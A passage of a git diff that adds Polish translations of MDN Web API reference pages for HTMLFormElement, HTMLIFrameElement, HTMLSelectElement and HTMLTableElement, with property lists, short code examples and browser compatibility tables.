+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><code>submit</code> wysyła formularz.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>HTMLFormElement</i>.submit()
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">document.forms["myform"].submit()
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Ta metoda działa tak samo jak naciśnięcie przycisku 'Wyślij' w formularzu.</p>
+
+<p>Jeśli kontrolka formularza (taka jak przycisk Wyślij) posiada nazwę lub id zmiennej <var>submit</var> to będzie ona maskowała metodę submit formularza.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76767676">DOM Level 2 HTML: submit</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/form.submit", "en": "en/DOM/form.submit" } ) }}</p>
diff --git a/files/pl/web/api/htmlformelement/target/index.html b/files/pl/web/api/htmlformelement/target/index.html
new file mode 100644
index 0000000000..f52fbe974b
--- /dev/null
+++ b/files/pl/web/api/htmlformelement/target/index.html
@@ -0,0 +1,35 @@
+---
+title: HTMLFormElement.target
+slug: Web/API/HTMLFormElement/target
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLFormElement/target
+---
+<p> </p>
+
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><b>target</b> pobiera/ustawia element docelowy działania (np., w której ramce ma być wczytana zawartość strony).</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>string</i> = form.target
+form.target =
+<i>string</i>
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">myForm.target = document.frames[1].name;
+</pre>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-6512890">DOM Level 2 HTML: target</a></p>
+
+<p>{{ languages( { "en": "en/DOM/form.target" } ) }}</p>
diff --git a/files/pl/web/api/htmliframeelement/index.html b/files/pl/web/api/htmliframeelement/index.html
new file mode 100644
index 0000000000..eaf5bb4fcb
--- /dev/null
+++ b/files/pl/web/api/htmliframeelement/index.html
@@ -0,0 +1,288 @@
+---
+title: HTMLIFrameElement
+slug: Web/API/HTMLIFrameElement
+tags:
+ - API
+ - HTML DOM
+ - Interfejs
+ - Potrzebny przegląd
+ - Referencja
+translation_of: Web/API/HTMLIFrameElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Interfejs <strong><code>HTMLIFrameElement</code></strong> dostarcza specjalne właściwości i metody (oprócz tych dziedziczonych po {{domxref("HTMLElement")}}) do manipulowania rozkładem i prezentacją wewnętrznych elementów ramki.</p>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<p><em>Dziedziczy właściwości od rodzica, {{domxref("HTMLElement")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.align")}} {{obsolete_inline}}</dt>
+ <dd>{{domxref("DOMString")}} określający zawijanie ramki w stosunku do otaczającego kontekstu.</dd>
+ <dt>{{domxref("HTMLIFrameElement.allowfullscreen")}} {{experimental_inline}}</dt>
+ <dd>{{domxref("Boolean")}} określa, czy ramka ma zostać umieszczona w trybie pełnoekranowym. Zobacz <a href="/pl-PL/docs/DOM/Using_full-screen_mode">Używanie trybu pełnoekranowego</a> dla szczegółów.</dd>
+ <dt>{{domxref("HTMLIFrameElement.contentDocument")}} {{readonlyInline}}</dt>
+ <dd>Zwraca obiekt {{domxref("Document")}}, reprezentujący aktualny kontekst przeglądania w ramce.</dd>
+ <dt>{{domxref("HTMLIFrameElement.contentWindow")}} {{readonlyInline}}</dt>
+ <dd>Zwraca obiekt {{domxref("WindowProxy")}}, referencję do okna przeglądarki w ramce.</dd>
+ <dt>{{domxref("HTMLIFrameElement.frameBorder")}} {{obsolete_inline}}</dt>
+ <dd>{{domxref("DOMString")}} określający, czy tworzyć obramowania między ramkami.</dd>
+ <dt>{{domxref("HTMLIFrameElement.height")}}</dt>
+ <dd>{{domxref("DOMString")}} reprezentujący atrybut {{htmlattrxref("height", "iframe")}} oznaczający wysokość ramki.</dd>
+ <dt>{{domxref("HTMLIFrameElement.longDesc")}} {{obsolete_inline}}</dt>
+ <dd>{{domxref("DOMString")}} zawierający URI długiego opisu ramki.</dd>
+ <dt>{{domxref("HTMLIFrameElement.marginHeight")}} {{obsolete_inline}}</dt>
+ <dd>{{domxref("DOMString")}} oznaczający wysokość marginesu.</dd>
+ <dt>{{domxref("HTMLIFrameElement.marginWidth")}} {{obsolete_inline}}</dt>
+ <dd>{{domxref("DOMString")}} oznaczający szerokość marginesu.</dd>
+ <dt>{{domxref("HTMLIFrameElement.name")}}</dt>
+ <dd>{{domxref("DOMString")}} oznaczający atrybut {{htmlattrxref("name", "iframe")}}, zawierający nazwę ramki.</dd>
+ <dt>{{domxref("HTMLIFrameElement.sandbox")}}</dt>
+ <dd>{{domxref("DOMSettableTokenList")}} oznaczający atrybut {{htmlattrxref("sandbox", "iframe")}}, oznaczając dodatkowe ograniczenia na zachowanie zagnieżdżonej zawartości.</dd>
+ <dt>{{domxref("HTMLIFrameElement.scrolling")}} {{obsolete_inline}}</dt>
+ <dd>{{domxref("DOMString")}}, od którego zależy, czy przeglądarka ma dostarczyć paski przewijania.</dd>
+ <dt>{{domxref("HTMLIFrameElement.seamless")}} {{experimental_inline}}</dt>
+ <dd>{{domxref("Boolean")}}, odzwierciedlający atrybut {{htmlattrxref("seamless", "iframe")}} , oznaczający, że ramkę należy wyświetlać bezszwowo wewnątrz dokumentu rodzica.</dd>
+ <dt>{{domxref("HTMLIFrameElement.src")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("src", "iframe")}} HTML attribute, containing the address of the content to be embedded.</dd>
+ <dt>{{domxref("HTMLIFrameElement.srcdoc")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that represents the content to display in the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.width")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("width", "iframe")}} HTML attribute, indicating the width of the frame.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<p><em>Dziedziczy właściwości od rodzica, {{domxref("HTMLElement")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.setNfcFocus")}}</dt>
+ <dd>Część <a href="/en-US/docs/Web/API/Using_the_Browser_API">Browser API</a> systemu Firefox OS, ustala, czy element {{htmlelement("iframe")}} może otrzymać zdarzenie <a href="/en-US/docs/Web/API/NFC_API">NFC</a>.</dd>
+</dl>
+
+<h2 id="Historia_specyfikacji">Historia specyfikacji</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Opis</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "the-iframe-element.html#the-iframe-element", "HTMLIFrameElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Dodano właściwość <code>allowFullscreen</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-iframe-element", "HTMLIFrameElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Następujące właściwości uznano za przestarzałe: <code>scrolling</code>, <code>marginWidth</code>, <code>marginHeight</code>, <code>longDesc</code>, <code>frameBorder</code>, and <code>align</code>.<br>
+ Te zostały dodane: <code>srcdoc</code>, <code>sandbox</code>, <code>seamless</code>, and <code>contentWindow</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-50708718', 'HTMLIFrameElement')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td>Dodano właściwość <code>contentDocument.</code></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-50708718', 'HTMLIFrameElement')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Początkowa definicja.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybliność_przeglądarek">Kompatybliność przeglądarek</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Właściwość</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>(Tak)</td>
+ <td>1.0 (1.7 lub wcześniejsza)</td>
+ <td>(Tak)</td>
+ <td>(Tak)</td>
+ <td>(Tak)</td>
+ </tr>
+ <tr>
+ <td><code>srcdoc</code></td>
+ <td>4</td>
+ <td>{{CompatGeckoDesktop(25)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>sandbox</code></td>
+ <td>4</td>
+ <td>{{CompatGeckoDesktop(17)}} [1]</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>seamless</code> {{experimental_inline}}</td>
+ <td>4</td>
+ <td>Nieobsługiwane</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>contentDocument</code></td>
+ <td>(Tak)</td>
+ <td>(Tak)</td>
+ <td>8.0 (dla wcześniejszych wersji używaj <code>HTMLIFrameElement.contentWindow.document</code>)</td>
+ <td>(Tak)</td>
+ <td>(Tak)</td>
+ </tr>
+ <tr>
+ <td><code>contentWindow</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>(Tak)</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>allowFullScreen</code> {{experimental_inline}}</td>
+ <td>17 {{property_prefix("-webkit")}}<br>
+ <em>Tylko codzienne wydania testowe</em></td>
+ <td>{{compatGeckoDesktop(9.0)}} {{property_prefix("-moz")}}<br>
+ {{compatGeckoDesktop(18.0)}}</td>
+ <td>Nieobsługiwane</td>
+ <td>Nieobsługiwane</td>
+ <td>Nieobsługiwane</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>(Tak)</td>
+ <td>{{CompatGeckoMobile(1.0)}}</td>
+ <td>(Tak)</td>
+ <td>(Tak)</td>
+ <td>(Tak)</td>
+ </tr>
+ <tr>
+ <td><code>srcdoc</code></td>
+ <td>4</td>
+ <td>{{CompatGeckoMobile(25)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>sandbox</code></td>
+ <td>4</td>
+ <td>{{CompatGeckoMobile(17)}} [1]</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>seamless</code> {{experimental_inline}}</td>
+ <td>4</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>contentDocument</code></td>
+ <td>(Tak)</td>
+ <td>(Tak)</td>
+ <td>{{CompatUnknown}}</td>
+ <td>(Tak)</td>
+ <td>(Tak)</td>
+ </tr>
+ <tr>
+ <td><code>contentWindow</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>allowFullScreen</code> {{experimental_inline}}</td>
+ <td>17 {{property_prefix("-webkit")}}<br>
+ <em>Tylko codzienne wydania testowe</em></td>
+ <td>{{compatGeckoMobile(9.0)}} {{property_prefix("-moz")}}<br>
+ {{compatGeckoMobile(18.0)}}</td>
+ <td>Nieobsługiwane</td>
+ <td>Nieobsługiwane</td>
+ <td>Nieobsługiwane</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Wcześniej, <code>sandbox</code> był obiektem {{domxref("DOMString")}} a nie {{domxref("DOMSettableTokenList")}}. Naprawiono to w <a href="/en-US/Firefox/Releases/29/Site_Compatibility">Gecko 29.0</a> {{geckoRelease(29)}}) ({{bug(845067)}}). Inne przeglądarki mogą wciąż implementować to jako <code>DOMString</code> ponieważ  to późna zmiana w speyfikacji.</p>
+
+<h3 id="Uwagi_do_Firefox_OS">Uwagi do Firefox OS</h3>
+
+<p>Firefox OS rozszerza <code>HTMLIFrameElement</code> o obsługę elementów iframe przeglądarki. Te metody stworzono dla <a href="/pl-PL/docs/Mozilla/Firefox_OS/Security/Application_security">uprzywilejowanych aplikacji</a> które chcą zaimplementować przeglądarkę jak aplikację na urządzenia z Firefox OS.Wtedy <code>HTMLIFrameElement</code> dziedziczy też od interfejsu {{domxref("EventTarget")}}. To learn how to implement such applications, see the <a href="/pl-PL/docs/WebAPI/Browser">Używanie API przeglądarki</a> article.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.setVisible()","HTMLIFrameElement.setVisible(visible)")}}</dt>
+ <dd>Pozwala bezpośrednio zmienić widoczność ramek.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getVisible()","HTMLIFrameElement.getVisible()")}}</dt>
+ <dd>Zwraca obecny stan widoczności ramki obiektem {{domxref("DOMRequest")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.sendMouseEvent()","HTMLIFrameElement.sendMouseEvent(type, x, y, button, clickCount, modifiers)")}}</dt>
+ <dd>Wysyła zdarzenie myszy do przeglądarki.</dd>
+ <dt>{{domxref("HTMLIFrameElement.sendTouchEvent()","HTMLIFrameElement.sendTouchEvent(type, identifiers, touchesX, touchesY,radiisX, radiisY, rotationAngles, forces,count, modifiers)")}}</dt>
+ <dd>Wysyła zdarzenie dotknięcia do przeglądarki.</dd>
+ <dt>{{domxref("HTMLIFrameElement.goBack()","HTMLIFrameElement.goBack()")}}</dt>
+ <dd>Cofa przeglądarkę o 1 stronę w historii.</dd>
+ <dt>{{domxref("HTMLIFrameElement.goForward()","HTMLIFrameElement.goForward()")}}</dt>
+ <dd>Przechodzi dalej o 1 stronę w historii.</dd>
+ <dt>{{domxref("HTMLIFrameElement.reload()","HTMLIFrameElement.reload()")}}</dt>
+ <dd>Odświeża (ładuje ponownie) stronę internetową w przeglądarce.</dd>
+ <dt>{{domxref("HTMLIFrameElement.stop()","HTMLIFrameElement.stop()")}}</dt>
+ <dd>Zatrzymuje ładowanie zawartości ramki.</dd>
+ <dt>{{domxref("HTMLIFrameElement.purgeHistory()","HTMLIFrameElement.purgeHistory()")}}</dt>
+ <dd>Pozwala wyczyścić historię przeglądania.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getScreenshot()","HTMLIFrameElement.getScreenshot(maxWidth, maxHeight)")}}</dt>
+ <dd>Robi zrzut ekranu, skalując do go rozmiaru <code>maxWidth</code> na <code>maxHeight</code> pikseli. Zwraca obiekt {{domxref("DOMRequest")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.addNextPaintListener()","HTMLIFrameElement.addNextPaintListener()")}}</dt>
+ <dd>Dodaje odbiorcę zdarzenia powiadomianego, gdy ramka jest gotowa do odmalowania po raz pierwszy (Powiadamia się go, gdy pierwsze zdarzenie {{event("MozAfterPaint")}} jest odbierane z ramki.)</dd>
+ <dt>{{domxref("HTMLIFrameElement.removeNextPaintListener()","HTMLIFrameElement.removeNextPaintListener()")}}</dt>
+ <dd>Usuwa odbiorcę dodanego przez poprzednią funkcję.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getCanGoBack()","HTMLIFrameElement.getCanGoBack()")}}</dt>
+ <dd>Zwraca obiekt {{domxref("DOMRequest")}} którego składowa <code>result</code> oznacza możliwość powrotu.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getCanGoForward()","HTMLIFrameElement.getCanGoForward()")}}</dt>
+ <dd>Zwraca obiekt {{domxref("DOMRequest")}} którego składowa <code>result</code> oznacza możliwość powrotu.</dd>
+</dl>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>Element HTML implementujący ten interfejs: {{HTMLElement("iframe")}}</li>
+</ul>
diff --git a/files/pl/web/api/htmlselectelement/index.html b/files/pl/web/api/htmlselectelement/index.html
new file mode 100644
index 0000000000..967409aadc
--- /dev/null
+++ b/files/pl/web/api/htmlselectelement/index.html
@@ -0,0 +1,166 @@
+---
+title: HTMLSelectElement
+slug: Web/API/HTMLSelectElement
+tags:
+ - API
+ - HTML DOM
+ - HTMLSelectElement
+ - Interface
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+translation_of: Web/API/HTMLSelectElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <code><strong>HTMLSelectElement</strong></code> interface represents a {{HTMLElement("select")}} HTML Element. These elements also share all of the properties and methods of other HTML elements via the {{domxref("HTMLElement")}} interface.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.autofocus")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}</dd>
+ <dt>{{domxref("HTMLSelectElement.disabled")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.</dd>
+ <dt>{{domxref("HTMLSelectElement.form")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLFormElement")}} referencing the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns <code>null</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.labels")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("NodeList")}} of {{HTMLElement("label")}} elements associated with the element.</dd>
+ <dt>{{domxref("HTMLSelectElement.length")}}</dt>
+ <dd>An <code>unsigned long</code> The number of {{HTMLElement("option")}} elements in this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.multiple")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.name")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.</dd>
+ <dt>{{domxref("HTMLSelectElement.options")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLOptionsCollection")}} representing the set of {{HTMLElement("option")}} ({{domxref("HTMLOptionElement")}}) elements contained by this element.</dd>
+ <dt>{{domxref("HTMLSelectElement.required")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedIndex")}}</dt>
+ <dd>A <code>long</code> reflecting the index of the first selected {{HTMLElement("option")}} element. The value <code>-1</code> indicates no element is selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedOptions")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLCollection")}} representing the set of {{HTMLElement("option")}} elements that are selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.size")}}</dt>
+ <dd>A <code>long</code> reflecting the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless <code>multiple</code> is <code>true</code>, in which case it is 4.</dd>
+ <dt>{{domxref("HTMLSelectElement.type")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} represeting the form control's type. When <code>multiple</code> is <code>true</code>, it returns <code>"select-multiple"</code>; otherwise, it returns <code>"select-one"</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.validationMessage")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing a localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is false), or it satisfies its constraints.</dd>
+ <dt>{{domxref("HTMLSelectElement.validity")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("ValidityState")}} reflecting the validity state that this control is in.</dd>
+ <dt>{{domxref("HTMLSelectElement.value")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form control. Returns the <code>value</code> property of the first selected option element if there is one, otherwise the empty string.</dd>
+ <dt>{{domxref("HTMLSelectElement.willValidate")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{jsxref("Boolean")}} that indicates whether the button is a candidate for constraint validation. It is <code>false</code> if any conditions bar it from constraint validation.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.add()")}}</dt>
+ <dd>Adds an element to the collection of <code>option</code> elements for this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.blur()")}}{{obsolete_inline}}</dt>
+ <dd>Removes input focus from this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.checkValidity()")}}</dt>
+ <dd>Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element (and returns <code>false</code>).</dd>
+ <dt>{{domxref("HTMLSelectElement.focus()")}}{{obsolete_inline}}</dt>
+ <dd>Gives input focus to this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.item()")}}</dt>
+ <dd>Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.namedItem()")}}</dt>
+ <dd>Gets the item in the options collection with the specified name. The name string can match either the <code>id</code> or the <code>name</code> attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.remove()")}}</dt>
+ <dd>Removes the element at the specified index from the options collection for this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.reportValidity()")}}</dt>
+ <dd>This method reports the problems with the constraints on the element, if any, to the user. If there are problems, it fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element, and returns <code>false</code>; if there are no problems, it returns <code>true</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.setCustomValidity()")}}</dt>
+ <dd>Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does <em>not</em> have a custom validity error.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Listen to these events using {{domxref("EventTarget/addEventListener", "addEventListener()")}} or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface:</p>
+
+<dl>
+ <dt>{{domxref("HTMLElement/input_event", "input")}} event</dt>
+ <dd>Fires when the <code>value</code> of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Get_information_about_the_selected_option">Get information about the selected option</h3>
+
+<pre class="brush: js">/* assuming we have the following HTML
+&lt;select id='s'&gt;
+ &lt;option&gt;First&lt;/option&gt;
+ &lt;option selected&gt;Second&lt;/option&gt;
+ &lt;option&gt;Third&lt;/option&gt;
+&lt;/select&gt;
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+</pre>
+
+<p>A better way to track changes to the user's selection is to watch for the {{domxref("HTMLElement/change_event", "change")}} event to occur on the <code>&lt;select&gt;</code>. This will tell you when the value changes, and you can then update anything you need to. See <a href="/en-US/docs/Web/API/HTMLElement/change_event#&lt;select>_element">the example provided</a> in the documentation for the <code>change</code> event for details.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the <code>autocomplete</code> property and the <code>reportValidity()</code> method.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Is a snapshot of {{SpecName("HTML WHATWG")}}.<br>
+ It adds the <code>autofocus</code>, <code>form</code>, <code>required</code>, <code>labels</code>, <code>selectedOptions</code>, <code>willValidate</code>, <code>validity</code> and <code>validationMessage</code> properties.<br>
+ The <code>tabindex</code> property and the <code>blur()</code> and <code>focus()</code> methods have been moved to {{domxref("HTMLElement")}}.<br>
+ The methods <code>item()</code>, <code>namedItem()</code>, <code>checkValidity()</code> and <code>setCustomValidity()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td><code>options</code> now returns an {{domxref("HTMLOptionsCollection")}}.<br>
+ <code>length</code> now returns an <code>unsigned long</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.HTMLSelectElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{HTMLElement("select")}} HTML element, which implements this interface.</li>
+</ul>
diff --git a/files/pl/web/api/htmltableelement/caption/index.html b/files/pl/web/api/htmltableelement/caption/index.html
new file mode 100644
index 0000000000..971efe057b
--- /dev/null
+++ b/files/pl/web/api/htmltableelement/caption/index.html
@@ -0,0 +1,39 @@
+---
+title: HTMLTableElement.caption
+slug: Web/API/HTMLTableElement/caption
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLTableElement/caption
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><b>caption</b> zwraca podpis tabeli.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>string</i> = table.caption
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">if (table.caption) {
+ // zrób coś z podpisem
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Własność ta zwraca void dla tabel bez elementu caption.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-14594520">caption</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-12035137">Interface HTMLTableCaptionElement</a></p>
+
+<p>{{ languages( { "en": "en/DOM/table.caption", "fr": "fr/DOM/table.caption" } ) }}</p>
diff --git a/files/pl/web/api/htmltableelement/index.html b/files/pl/web/api/htmltableelement/index.html
new file mode 100644
index 0000000000..d5d5a838ca
--- /dev/null
+++ b/files/pl/web/api/htmltableelement/index.html
@@ -0,0 +1,72 @@
+---
+title: HTMLTableElement
+slug: Web/API/HTMLTableElement
+tags:
+ - DOM
